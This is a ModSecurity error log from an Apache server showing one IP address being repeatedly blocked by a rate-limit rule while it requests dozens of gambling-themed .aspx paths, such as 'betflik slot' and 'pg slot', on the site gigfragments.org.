[Fri Feb 13 22:02:05.902771 2026] [:error] [pid 46821:tid 46847] [client 54.37.252.131:56098] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aY8u3Y6G1N5YSq0J0gcl6gAAAVg"]
[Fri Feb 13 22:02:09.658169 2026] [:error] [pid 18097:tid 18118] [client 54.37.252.131:33294] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aY8u4XFzYiQ_BfaDDlZJJgAAAZM"]
[Fri Feb 13 22:02:13.551479 2026] [:error] [pid 47080:tid 47098] [client 54.37.252.131:33304] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aY8u5UbWJwYCVF39z6toYgAAAco"]
[Fri Feb 13 22:02:15.977559 2026] [:error] [pid 49223:tid 49246] [client 54.37.252.131:46358] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aY8u5x8A_fZBamNLnfV6UwAAAA4"]
[Fri Feb 13 22:02:19.111506 2026] [:error] [pid 46821:tid 46831] [client 54.37.252.131:46368] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aY8u646G1N5YSq0J0gcl8QAAAUg"]
[Fri Feb 13 22:02:22.597209 2026] [:error] [pid 47575:tid 47601] [client 54.37.252.131:46378] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aY8u7gIPBuXb07mA_mTgQwAAAtQ"]
[Fri Feb 13 22:02:26.294639 2026] [:error] [pid 49335:tid 49349] [client 54.37.252.131:45128] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aY8u8qp--SFY2nwOiql-XQAAAMw"]
[Fri Feb 13 22:02:29.645708 2026] [:error] [pid 51243:tid 51256] [client 54.37.252.131:45130] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aY8u9cim7ZTAHzi7xZvfQAAAAQs"]
[Fri Feb 13 22:02:32.109496 2026] [:error] [pid 49223:tid 49240] [client 54.37.252.131:45136] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aY8u-B8A_fZBamNLnfV6cAAAAAg"]
[Fri Feb 13 22:02:34.755293 2026] [:error] [pid 47143:tid 47236] [client 54.37.252.131:37934] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aY8u-shV30NbMarHJLtXSwAAAlY"]
[Fri Feb 13 22:02:37.005005 2026] [:error] [pid 47080:tid 47096] [client 54.37.252.131:37938] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aY8u_UbWJwYCVF39z6tofQAAAcg"]
[Fri Feb 13 22:06:32.363222 2026] [:error] [pid 47358:tid 47373] [client 54.37.252.131:47642] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aY8v6MQFBuVVUQTESUwqEwAAAog"]
[Fri Feb 13 22:06:34.377196 2026] [:error] [pid 49335:tid 49361] [client 54.37.252.131:40078] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aY8v6qp--SFY2nwOiql_YQAAANg"]
[Fri Feb 13 22:06:36.327238 2026] [:error] [pid 18097:tid 18099] [client 54.37.252.131:46938] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aY8v7HFzYiQ_BfaDDlZKXgAAAYA"]
[Fri Feb 13 22:06:38.157484 2026] [:error] [pid 47575:tid 47594] [client 54.37.252.131:46946] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aY8v7gIPBuXb07mA_mThTwAAAs0"]
[Fri Feb 13 22:06:39.990480 2026] [:error] [pid 49223:tid 49252] [client 54.37.252.131:46958] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aY8v7x8A_fZBamNLnfV7fAAAABQ"]
[Fri Feb 13 22:06:41.921408 2026] [:error] [pid 47575:tid 47588] [client 54.37.252.131:46972] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aY8v8QIPBuXb07mA_mThVAAAAsg"]
[Fri Feb 13 22:06:43.783150 2026] [:error] [pid 46821:tid 46838] [client 54.37.252.131:46984] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aY8v846G1N5YSq0J0gcmyAAAAU8"]
[Fri Feb 13 22:06:45.636082 2026] [:error] [pid 49335:tid 49345] [client 54.37.252.131:54678] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aY8v9ap--SFY2nwOiql_aAAAAMg"]
[Fri Feb 13 22:06:47.577655 2026] [:error] [pid 49225:tid 49307] [client 54.37.252.131:54692] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aY8v9zwH8-zGxtAd3jsg5AAAAI0"]
[Fri Feb 13 22:06:49.473367 2026] [:error] [pid 49335:tid 49343] [client 54.37.252.131:54702] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aY8v-ap--SFY2nwOiql_bQAAAMY"]
[Fri Feb 13 22:06:51.486150 2026] [:error] [pid 47358:tid 47385] [client 54.37.252.131:54718] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aY8v-8QFBuVVUQTESUwqGgAAApM"]
[Fri Feb 13 22:06:53.490734 2026] [:error] [pid 47080:tid 47110] [client 54.37.252.131:54726] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aY8v_UbWJwYCVF39z6tp-gAAAdY"]
[Fri Feb 13 22:06:55.538532 2026] [:error] [pid 51243:tid 51264] [client 54.37.252.131:47568] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aY8v_8im7ZTAHzi7xZvf4wAAARM"]
[Fri Feb 13 22:06:57.488194 2026] [:error] [pid 18097:tid 18115] [client 54.37.252.131:47578] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aY8wAXFzYiQ_BfaDDlZKbwAAAZA"]
[Fri Feb 13 22:06:59.416560 2026] [:error] [pid 49335:tid 49349] [client 54.37.252.131:47594] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker.aspx"] [unique_id "aY8wA6p--SFY2nwOiql_dAAAAMw"]
[Fri Feb 13 22:07:01.521742 2026] [:error] [pid 49335:tid 49346] [client 54.37.252.131:47600] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aY8wBap--SFY2nwOiql_eAAAAMk"]
[Fri Feb 13 22:07:03.477632 2026] [:error] [pid 47358:tid 47377] [client 54.37.252.131:47606] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aY8wB8QFBuVVUQTESUwqIAAAAos"]
[Fri Feb 13 22:07:05.464467 2026] [:error] [pid 46821:tid 46843] [client 54.37.252.131:45276] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aY8wCY6G1N5YSq0J0gcm1AAAAVQ"]
[Fri Feb 13 22:07:07.446715 2026] [:error] [pid 46821:tid 46847] [client 54.37.252.131:45286] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aY8wC46G1N5YSq0J0gcm1wAAAVg"]
[Fri Feb 13 22:07:09.385005 2026] [:error] [pid 49335:tid 49343] [client 54.37.252.131:45300] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aY8wDap--SFY2nwOiql_igAAAMY"]
[Fri Feb 13 22:07:11.338393 2026] [:error] [pid 18097:tid 18122] [client 54.37.252.131:45312] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aY8wD3FzYiQ_BfaDDlZKdgAAAZc"]
[Fri Feb 13 22:07:13.279470 2026] [:error] [pid 51243:tid 51264] [client 54.37.252.131:45328] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aY8wEcim7ZTAHzi7xZvf7gAAARM"]
[Fri Feb 13 22:07:15.377600 2026] [:error] [pid 47358:tid 47382] [client 54.37.252.131:60432] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aY8wE8QFBuVVUQTESUwqKQAAApA"]
[Fri Feb 13 22:07:17.505593 2026] [:error] [pid 49335:tid 49351] [client 54.37.252.131:60442] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aY8wFap--SFY2nwOiql_kQAAAM4"]
[Fri Feb 13 22:07:19.553467 2026] [:error] [pid 49225:tid 49298] [client 54.37.252.131:60444] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aY8wFzwH8-zGxtAd3jshAgAAAIQ"]
[Fri Feb 13 22:07:21.489232 2026] [:error] [pid 51243:tid 51256] [client 54.37.252.131:60456] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aY8wGcim7ZTAHzi7xZvf-AAAAQs"]
[Fri Feb 13 22:07:23.608124 2026] [:error] [pid 49223:tid 49233] [client 54.37.252.131:60458] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aY8wGx8A_fZBamNLnfV7nQAAAAE"]
[Fri Feb 13 22:07:25.718747 2026] [:error] [pid 47358:tid 47370] [client 54.37.252.131:36270] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aY8wHcQFBuVVUQTESUwqLwAAAoU"]
[Fri Feb 13 22:07:27.713092 2026] [:error] [pid 46821:tid 46841] [client 54.37.252.131:36278] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aY8wH46G1N5YSq0J0gcm4wAAAVI"]
[Fri Feb 13 22:08:05.813240 2026] [:error] [pid 49225:tid 49317] [client 54.37.252.131:36286] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aY8wRTwH8-zGxtAd3jshJgAAAJc"]
[Fri Feb 13 22:08:07.957077 2026] [:error] [pid 46821:tid 46823] [client 54.37.252.131:51318] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aY8wR46G1N5YSq0J0gcnBAAAAUA"]
[Fri Feb 13 22:08:10.049683 2026] [:error] [pid 47358:tid 47362] [client 54.37.252.131:51322] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aY8wSsQFBuVVUQTESUwqUQAAAoE"]
[Fri Feb 13 22:08:12.035475 2026] [:error] [pid 47358:tid 47376] [client 54.37.252.131:51330] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aY8wTMQFBuVVUQTESUwqVAAAAoo"]
[Fri Feb 13 22:08:14.060387 2026] [:error] [pid 47358:tid 47384] [client 54.37.252.131:51340] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aY8wTsQFBuVVUQTESUwqVgAAApI"]
[Fri Feb 13 22:08:15.982265 2026] [:error] [pid 18097:tid 18114] [client 54.37.252.131:51210] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aY8wT3FzYiQ_BfaDDlZKtgAAAY8"]
[Fri Feb 13 22:08:18.277366 2026] [:error] [pid 51243:tid 51245] [client 54.37.252.131:51212] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aY8wUsim7ZTAHzi7xZvgIgAAAQA"]
[Fri Feb 13 22:08:20.519759 2026] [:error] [pid 46821:tid 46846] [client 54.37.252.131:51214] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aY8wVI6G1N5YSq0J0gcnEgAAAVc"]
[Fri Feb 13 22:08:23.362385 2026] [:error] [pid 51243:tid 51264] [client 54.37.252.131:51230] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aY8wV8im7ZTAHzi7xZvgKgAAARM"]
[Fri Feb 13 22:08:25.588847 2026] [:error] [pid 47575:tid 47583] [client 54.37.252.131:39332] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aY8wWQIPBuXb07mA_mThsQAAAsM"]
[Fri Feb 13 22:08:27.700994 2026] [:error] [pid 49223:tid 49237] [client 54.37.252.131:39342] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aY8wWx8A_fZBamNLnfV7vgAAAAU"]
[Fri Feb 13 22:08:30.042881 2026] [:error] [pid 47143:tid 47225] [client 54.37.252.131:39354] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aY8wXshV30NbMarHJLtYUQAAAks"]
[Fri Feb 13 22:08:32.033171 2026] [:error] [pid 47143:tid 47229] [client 54.37.252.131:39360] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aY8wYMhV30NbMarHJLtYUgAAAk8"]
[Fri Feb 13 22:08:34.295021 2026] [:error] [pid 18097:tid 18123] [client 54.37.252.131:39374] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aY8wYnFzYiQ_BfaDDlZKzQAAAZg"]
[Fri Feb 13 22:08:36.309110 2026] [:error] [pid 47143:tid 47216] [client 54.37.252.131:52292] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aY8wZMhV30NbMarHJLtYVgAAAkI"]
